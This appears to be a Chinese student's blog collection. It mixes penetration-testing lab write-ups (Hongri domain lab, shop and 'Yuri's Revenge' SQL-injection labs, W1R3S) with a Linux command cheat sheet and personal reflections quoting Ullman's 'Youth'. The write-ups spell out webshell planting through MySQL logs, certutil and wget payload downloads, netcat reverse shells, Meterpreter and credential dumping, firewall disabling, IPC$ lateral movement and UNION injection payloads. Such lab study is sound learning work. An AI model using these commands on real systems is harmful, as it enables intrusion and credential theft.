然后把他传到靶机的/tmp目录下,先在kali中启动一个http服务:

php -S 0:80

然后在靶机/tmp目录下wget,把kali中的15285.c下载下来:

在靶机中用gcc编译,就直接命名为15285得了

然后直接运行即可提权

进入/root目录,查看key.txt

成功拿到flag

红日靶场

编辑虚拟网络

kali

Win 7

Win2K3/2008 R2

查看本机ip

开靶机和未开靶机对比,得知目标主机IP为192.168.229.129

启动Win7中的Web服务

nmap扫描一下目标主机,发现开放了80, 3306端口

对目标进行访问,发现默认页面为phpStudy 探针,泄露大量信息。

目录扫描,发现后台登录界面的网址

尝试访问

抓包发现没有进行防爆破,尝试进行爆破

账密为root/root,进入后台

将变量中的general log更改为ON,将general log file的路径更改为当前网站根目录下路径C:\phpStudy\WWW\test.php。(开启 SQL 的通用查询日志功能,并将日志文件保存在该路径)

在SQL界面写入一句话木马

访问http://192.168.229.129/test.php?test=phpinfo();验证成功插入

将nc和wget.exe放入/var/www/html目录下,然后启动Apache服务。

查看服务的状态

服务已正常启动,访问127.0.0.1看到默认页面

WEBSHELL中执行,完整命令为http://192.168.229.129/test.php?test=system(“certutil -urlcache -split -f http://192.168.229.128/wget.exe C:\phpStudy\WWW\wget.exe”);

通过Windows下的dir命令查看,http://192.168.229.129/test.php?test=system("dir");

之后使用wget将整个nc的文件夹下载下来。WEBSHELL中执行wget -r -np -nH –cut-dirs=1 http://192.168.100.128/nc/

之后在kali上进行监听,再让Win7连接kali。靶机的WEBSHELL中执行nc 192.168.229.128 8888 -e cmd.exe

http://192.168.229.129/test.php?test=system(“nc 192.168.229.128 8888 -e cmd.exe”);

攻击机执行nc -vlp 8888

权限维持与内网信息收集

首先修改cmd的字符编码为utf-8(chcp 65001),以此来避免乱码问题

获取系统信息

有用信息:1. 主机加了一个域god.org

​ 2. 此主机的网络配置,内网网段包含192.168.52.143

Whoami得知我们现在的用户为administrator,属于god域

关闭windows防火墙

(”netsh” 是一个用于配置和监控各种网络设置的命令行工具。”advfirewall” 是 Windows Firewall(也称为Windows防火墙)的管理组件。”set currentprofile” 表示该命令将应用于当前活动的配置文件,即当前正在使用的防火墙配置文件。”state off” 意味着将关闭当前活动的防火墙配置文件。)

修改注册表以允许远程桌面连接

HKEY_LOCAL_MACHINE” 分支下的 “SYSTEM\CurrentControlSet\Control\Terminal Server:修改的位置

1
2
3
4
/v fDenyTSConnections:修改的键值名称 fDenyTSConnections 是表示是否允许远程桌面连接的
/t REG_DWORD:设定数据类型
/d 0:设置数据
/f:强制操作

启动远程桌面服务

进行远程桌面连接

创建一个msf的木马,将这个木马移动到/var/www/html文件夹下

1
2
3
4
-p    指定payload
LHOST 攻击机IP
LPORT 监听端口
-f 确定输出格式

让目标下载这个木马

进入msf框架的命令行

use exploit/multi/handler使用“多模块”漏洞利用程序

set payload windows/x64/meterpreter/reverse_tcp设置要使用的负载类型,指定了Windows 64位操作系统上的Meterpreter负载

set lhost设置攻击机器的IP地址

set lport设置监听端口号

运行木马

成功返回结果

getsystem进一步提权,getuid查看提权结果

导入kiwi模块,获取到系统中的用户名和密码

creds_all获取目标系统上存储的凭据信息

设置一个定时任务,以免连接被断开。(taskschd.msc打开任务计划程序)

创建完成,重启win7进行验证

在攻击机上监听

下面是内网信息收集

查看当前计算机/域基本信息(net config workstation)

已经知道了当前主机在GOD域中

可知域控主机名为OWA

查询域用户

查看域的密码策略

获取域管理员列表

扫描当前内网网段,扫描出了138/141两个IP(143前面已经知道是跳板机IP)

ping一下OWA查看域控的IP

至此内网的基本信息收集结束

横向移动

对域控进行扫描

通过上面的信息收集,我们发现我们当前的账号在域中有登记,并不只是本地账户,因此我们可以尝试与域控直接进行IPC连接。

发现同时开启了139/445端口,有可能可以进行IPC连接。

net use \目标IP\ipc$ “密码” /user:”账户”,它的作用是使用 IPC(Inter-Process Communication,进程间通信)连接到目标 IP 地址上的 ipc$ 共享资源。

net use 命令可以将本地系统的某个共享资源映射到远程系统上,并进行访问。

尝试操控目标主机

尝试让目标主机运行nc

查看目标当前的时间

使用at命令为目标创建一个计划任务,让其在指定的时间运行命令

Win7上开启监听,到时间后成功回弹

之后尝试将shell反弹回攻击机上

在Win7上创建一个端口转发

1
2
3
4
listenaddress:监听地址
listenport:监听端口
connectaddress:连接地址
connectport:连接端口

netsh interface portproxy show v4tov4:显示当前系统中的转发规则

之后让域控连接Win7的9999端口

在攻击机上开启端口9999的监听,在攻击机上成功获取域控的shell

以下是Linux较全的命令收录👇🏻一些常用的不常用但是有一定概率会用到的都有收录

ps:之前看一个师傅说把电脑刷成Linux机的话对计算机一些底层原理的了解会更深入。比较期待未来的某一天自己有能力handle电脑*2的时候这样做:)

速查常用Linux命令

ls 列出目录的内容
alias 定义或显示别名
unalias 删除别名定义
pwd 打印工作目录
cd 更改目录
cp 复制文件和目录
rm 删除文件和目录
mv 移动(重命名)文件和目录
mkdir 创建目录
man 显示其他命令的手册页面
touch 创建空文件
chmod 更改文件权限
./ 运行可执行文件
exit 退出当前shell会话
sudo 以超级用户身份执行命令
shutdown 关闭您的机器
htop 显示进程和资源信息
unzip 解压zip文件
apt,yum,pacman 包管理器
echo 显示文本行
cat 打印文件内容
ps 报告shell进程状态
kill 终止程序
ping 测试网络连接
vim 高效文本编辑
history 显示以前的命令列表
passwd 更改用户密码
which 返回程序的完整二进制路径
shred 覆盖文件以隐藏其内容
less 以交互式检查文件
tail 显示文件的最后几行
head 显示文件的第一行
grep 打印与给定条件匹配行
whoami 输出用户名
whatis 显示单行说明
wc 字数文件
uname 显示操作系统信息
neofetch 显示操作系统和硬件信息
find 搜索遵循模式的文件
wget 从互联网检索文件

常用命令

  1. ls – 列出目录内容

  2. cd – 更改目录

  3. mkdir – 创建新目录

  4. rmdir – 删除目录

  5. touch – 创建新的空文件

  6. cp – 复制文件和目录

  7. mv – 移动或重命名文件和目录

  8. rm – 移除文件和目录

  9. find – 在目录层次结构中搜索文件

  10. du – 估算文件空间使用情况

  11. grep 命令 – 使用条件匹配搜索文本

  12. awk – 条件扫描和处理语言

  13. sed – 用于过滤和转换文本的流编辑器

  14. sort – 对文本文件行进行排序

  15. uniq – 报告或省略重复行

  16. diff – 逐行比较文件

  17. wc – 打印行数、字数和字节数

  18. > – 重定向标准输出

    重定向标准输出有助于将命令结果保存到文件中,以便存储、调试或将命令串联起来

  19. >> – 追加标准输出

    >> 操作符将命令的标准输出追加到文件中,而不覆盖现有内容

  20. < – 重定向标准输入

    < 重定向操作符将文件内容作为标准输入送入命令,而不是从键盘输入

  21. | – 管道输出到另一条命令

    管道 | 操作符将一条命令的输出作为输入发送到另一条命令,将它们串联起来

    管道通常用于将命令串联起来,其中一个命令的输出为另一个命令的输入提供信息。这样就能从较小的单用途程序中构建出复杂的操作

  22. tee – 从标准输入读取并写入标准输出和文件

    tee 命令将标准输入分为两个流

    它将输入写入标准输出(显示主命令的输出),同时将副本保存到文件中

    Linux归档命令

  23. tar – 从归档文件中存储和提取文件

    tar 命令可帮助你处理磁带归档文件(.tar)。它可以帮助你将多个文件和目录捆绑到一个压缩的 .tar 文件中

  24. gzip – 压缩或扩展文件

    gzip 命令使用 LZ77 编码压缩文件,以减小存储或传输文件的大小。使用 gzip,你可以处理 .gz 文件

  25. gunzip – 解压缩文件

    gunzip 命令用于解压缩 .gz 文件

  26. zip – 打包和压缩文件

    zip 命令用于创建包含压缩文件内容的 .zip 归档文件

  27. unzip – 从 ZIP 档案中提取文件

    gunzip 类似, unzip 命令可从 .zip 压缩文件中提取和解压缩文件

    Linux文件传输命令

  28. scp – 在主机间安全复制文件

    scp (安全复制)命令通过 SSH 连接在主机间复制文件。所有数据传输都经过加密,以确保安全

    更多Linux命令

  29. mount – 将硬盘安装或 “连接 “到系统上

  30. umount – 从系统中卸载或 “移除” 硬盘。

  31. **xargs **– 生成并执行通过标准输入提供的命令。

  32. alias – 为冗长或复杂的命令创建快捷方式

  33. jobs – 列出当前在后台运行任务的程序

  34. bg – 恢复已停止或暂停的后台进程

  35. killall – 通过程序名称而不是 PID 终止进程

  36. history – 显示当前终端会话中以前使用过的命令

  37. man – 直接在终端中访问命令的帮助手册

  38. screen – 从一个窗口管理多个终端会话。

  39. ssh – 建立与远程服务器的安全加密连接

  40. tcpdump – 根据特定标准捕获网络流量

  41. watch – 每隔一段时间重复一次命令,并突出显示输出差异

  42. nc – 打开 TCP 或 UDP 连接,进行测试和数据传输

  43. nmap – 主机发现、端口扫描和操作系统指纹

  44. strace – 通过跟踪操作系统信号和调用来调试进程

  45. unalias– 顾名思义,unalias命令旨在从已定义的别名中删除alias

  46. pwd– 代表“打印工作目录”,它输出您所在目录的绝对路径

  47. ./ – ./ 符号本身不是命令,但在这个列表中值得一提。
    它允许shell直接从终端运行可执行文件,并在系统中安装任何解释器

  48. exit– 自动关闭正在使用的终端

  49. apt, yum, pacman 命令
    无论使用的是哪个Linux发行版,都可能使用package管理器来安装、更新和删除每天使用的软件

  50. echo– 在终端中显示定义的文本

  51. cat– 用于直接从终端创建、查看和连接文件。

    cat 是“concatenate”的缩写,用于直接从终端创建、查看和连接文件。它主要用于在不打开图形文本编辑器的情况下预览文件

  52. vim– 使用高效的键绑定编辑纯文本文件

  53. which– 输出shell命令的完整路径。
    which命令输出shell命令的完整路径

  54. shred– 此命令会重复覆盖文件的内容。
    此命令会重复覆盖文件的内容,给定的文件极难恢复

  55. tail– 打印文件内容后几行

  56. head– 输出文本文件的前10行

  57. whatis– 打印任何其他命令的说明

  58. neofetch– CLI(命令行界面)工具。
    Neofetch是一个CLI(命令行界面)工具,它在Linux发行版的ASCII徽标旁边显示有关系统的信息,如内核版本、shell和硬件

  59. less– 允许您前后检查文件的程序

  60. tmux – 用于持续会话和分割的终端多路复用器

Reference:

自查用,部分内容取自知乎,侵删。😆

shop靶场-1

进入windows 7 x64虚拟机里钓鱼台网站的后台

打开虚拟机后然后双击打开shop1:

如果遇到双击打不开的情况,点击右下角的小三角形,找到绿色的KR,点击:

点击关闭:

现在再点击就能打开了,如图:

点击第一行:

输入网站后台的地址:http://192.168.111.134/shop/admin/login.asp 我们来到后台登录页面(这里找到后台比较简单,可以试一下几个可能的地址,就不需要扫描了)

先来试试弱密码:账号:admin 密码:admin

填好后点击“管理登录”,发现成功进入后台管理页面:

shop靶场-2

打开过程同“shop靶场-1”

首先进入后台先要找到后台登录页面,使用工具扫描没有结果,但发现了网站的后台:

http://192.168.111.134/shop2/admin/login1.asp

跳转到网页后台登录页面:

试一试之前试过的弱密码,失败

接下来进行sql注入

打开阿D注入工具

将注入链接里面的IP地址改成我现在的地址,点击检测

点击检测标段,再点击admin

点击检测字段,再把password和admin勾选上

点击检测内容

结果出现两组账号密码,我们任选其中一组就行

在这里,我选择了上面一种,双击,出现账号和密码

我们发现密码好像被MD5加密过了,解密得

用获取的账号和密码进行登录

成功登录

上传木马

文件上传成功

在保存信息的路径下添加888.asp.jpg,在16进制数中找到asp后的.进行00截断。将2e改为00

输入保存路径+888.asp打开网页显示木马添加成功

打开菜刀,将木马路径输入进去

双击网址,打开即可看到任意盘下的文件并进行更改

尤里的复仇-sql注入

判断是否存在SQL注入漏洞

1.构造 ?id=1 and 1=1 ,回车观察页面是否正常

页面返回正常,可知 and 这个参数注入进去被当成SQL语句执行了。

2.构造 and 1=2

页面不正常,初步判断这里可能存在一个注入漏洞

判断字段数

构造 ?id=1 and 1=1 order by 1 回车

页面返回正常,进行第二步,构造 ?id=1 and 1=1 order by 2 回车

页面显示正常,进行第三步,构造 ?id=1 and 1=1 order by 3 回车

页面返回 错误,判断字段数为 2(判断字符数只有两个)

判断回显点

构造 ?id=1 and 1=2 union select 1,2 回车

页面出现了 2 ,说明我们可以在数字 2 处显示我们想要的内容

查询相关内容

查询当前数据库名:构造 ?id=1 and 1=2 union select 1,database() 回车

页面回显maoshe

查询当前数据库版本:构造 ?id=1 and 1=2 union select 1,version() 回车

回显版本号为5.5.53

查询当前数据库 表名:构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

页面回显admin

绝大数情况下,管理员的账号密码都在admin表里。

查询字段名:构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 0,1 回车

回显字段名为id

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 1,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 2,1 回车

回显password

构造语句输出账号密码: ?id=1 and 1=2 union select 1,password from admin limit 0,1 回车

回显hellohack 得到管理员账号和密码为:hellokack

得到flag

尤里的复仇-信息收集1

用御剑进行扫描,flag在二级目录里

点击链接,得到flag

尤里的复仇-绕过WAF

随便点击一个新闻。在id=171后面加一个引号’,测试一下是否有SQL注入

有弹框了,提示过滤了很多关键字。下一步考虑如何绕过这些关键字

因为网页做了waf过滤防护,这里考虑用cookie注入,可以进行绕过

这里使用一个小工具进行注入

打开这款插件直接在value处填写注入参数即可然后按上面的键开始(value中的值需要注意的是空格用+表示)

出现账号和密码

将密码md5解密

用御剑进行扫描,获得后台地址:

输入之前获得的用户名和密码

成功拿到flag

Reference:

csdn@哈哈哈cry

环境搭建:在VMware Workstation中安装Kali linux和靶机w1r3s

Nmap主机发现

此命令可显示当前系统中所有网络接口的详细信息,由此可知本机IP地址: 192.168.184.134/24

此步骤目的是为了下一步扫描出目标靶机的IP地址

扫描该子网中的所有主机,nmap 将发送 ICMP Echo Request 包(ping)到指定子网的每个 IP 地址,并根据响应来判断主机是否在线。返回结果可以看到在线主机的 IP 地址

1
2
3
4
5
sudo: 以超级用户权限执行命令

nmap: 扫描工具

-sn: 表示进行主机发现而不进行端口扫描,仅打印出对扫描做出响应的主机

第一次扫描未开靶机,第二次扫描前将靶机打开,通过前后两次扫描结果的对比我们可以发现目标靶机的 ip 是 192.168.184.129

端口扫描

先创建(mkdir)一个目录来存放数据,再创建一个子目录来存放nmap扫描的数据

1
2
3
-p:创建目标目录的上级目录

cd:切换路径

执行端口扫描

1
2
3
4
5
-sS:表示使用TCP SYN扫描方式

-p-:表示对全部端口进行扫描

-oN:用于将扫描结果保存到文件(后加路径)

可以看到四个开放的端口和对应的服务(21:ftp,22:ssh,80:http,3306:mysql)

端口提取命令,为了后续方便,将各个端口提取出来放到变量中

详细信息扫描

显示匿名FTP登录被允许,并且有三个客户端连接。此外,还显示了一些目录的信息,例如content、docs和new-employees。

UDP扫描

目的是识别目标主机上开放的UDP(User Datagram Protocol)端口。

结果显示,所有100个扫描的端口都处于被忽略状态。具体来说,目标主机没有对UDP端口作出明确的响应,因此无法判断端口是否开放或关闭。

1
2
3
-sU:udp 扫描

--top-ports 100:扫描最常见的 100 个端口

漏洞脚本扫描

目的是为了发现目标系统中可能存在的漏洞。这些漏洞可能是由软件缺陷、配置错误或安全配置不当等原因引起的,攻击者可以利用这些漏洞来入侵系统、获取未授权的访问权限、窃取敏感信息或导致系统服务不可用。

通过http-enum脚本扫描,发现了WordPress登录页面 /wordpress/wp-login.php

FTP匿名登录

目的是为了获取FTP服务器上公开的信息或文件。成功登录,获得访问FTP服务器上公开文件和文件夹的权限。

查看下载下来的文件,01.txt 看到是个新的 ftp 服务器,02.txt 看到两个字符串,03.txt 是个 logo

“hash-identifier”是一个用于识别哈希算法的工具,使用MD5解密,得到This is not a password

使用base64解密

mysql 试探

提示不允许登陆

Web渗透

直接访问,看到一个 apache 的默认页面

访问之前 nmap 的 http-enum 得到的 /wordpress/wp-login.php 发现是一个登陆页面,弱口令无效

目录爆破

用gobuster工具进行目录爆破,用于发现目标网站上隐藏的目录和文件

gobuster dir:指示Gobuster使用目录模式进行枚举。

-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:指定用于枚举的字典文件路径。

1
-u http://192.168.184.12:指定要枚举的目标URL,即"[http://192.168.184.12]

结果:

/wordpress

/javascript

/administrator

/javascript 提示没有访问权限

/administrator 看到一个安装页面,网页标题是 cuppa cms

cuppa cms 渗透

SearchSploit是一个用于搜索和浏览漏洞利用数据库的命令行工具

查看文件,发现文件包含漏洞

查看利用文件,发现是 /alerts/alertConfigField.php 出现了漏洞

下载此漏洞,查看具体信息

访问目标系统中的敏感文件(passwd存放了用户账户的信息)

访问目标系统的用户密码文件

John破解密码

通过SSH协议连接到指定IP地址,成功登录后获取了root权限

  • 想要创建博客记录一下我的学习过程 & 一些生活和学习工作的想法 ~(srds有点建晚了,大一就该准备好的呜呜呜Q﹏Q(不过还不算太迟
  • 超严重的强迫症,这些事情写到纸上如果格式之类出问题 or 字写得丑了点,立马就会忍不住撕掉重写(所以Blog+markdown对我来说是好选择)之前为了治这个毛病,特意买了Daycrafts的日程本试图用昂贵的纸张唤醒我节约的意识,结果完美证明:我的强迫症 > 我对银子的心疼😥

勇气

普通家庭出身的大部分人所习惯的模式是竞争与服从,缺乏那种真正能让人出彩于某个领域的信念与可使用的方法论,我叫它“意识”。

成绩、量化一个人的考核标准,在我更加年轻的时候给了我很多满足——因为我经常在这种“竞争”游戏中胜出。可惜意识不足的个体不会真正踏上“上行之路”,像地基没有扎稳的房子,不会挺立太久。之后很长一段时间我所面对的,是认知与期望产生巨大落差的挫败,以及明知自己难以迅速填补沟壑、想要得到一些事物就要付出超常的努力,却迟迟驻足原处、不知该走向何处的犹疑。

这种情况在我进入大学之后改善了非常之多,但“改善”还远远不够。这个博客存在的意义就在于,我会在这片“自留地”记录自己一些自己看重的东西。

YOUTH

这是我非常喜欢的一首诗

Samuel Ullman

Youth is not a time of life;

It is a state of mind;

It is not a matter of rosy cheeks, red lips and supple knees;

It is a matter of the will, a quality of the imagination, a vigour of the emotions;

It is the freshness of the deep springs of life.

Youth means a temperamental predominance of courage over timidity of the appetite, for adventure over the love of ease. This often exists in a man of sixty more than a boy of twenty. Nobody grows old merely by a number of years. We grow old by deserting our ideals.

Years may wrinkle the skin, but to give up enthusiasm wrinkles the soul. Worry, fear, self-distrust blows the heart and turns the spirit back to dust.

Whether sixty or sixteen, there is in every human being’s heart the lure of wonders, the unfailing childlike appetite of what’s next and the joy of the game of living. In the centre of your heart and my heart there is a wireless station: so long as it receives messages of beauty, hope, cheer, courage and power from men and from the infinite, so long are you young.

When the aerials are down, and your spirit is covered with snows of cynicism and the ice of pessimism, then you are grown old, even at twenty, but as long as your aerials are up, to catch waves of optimism, there is hope you may die young at eighty.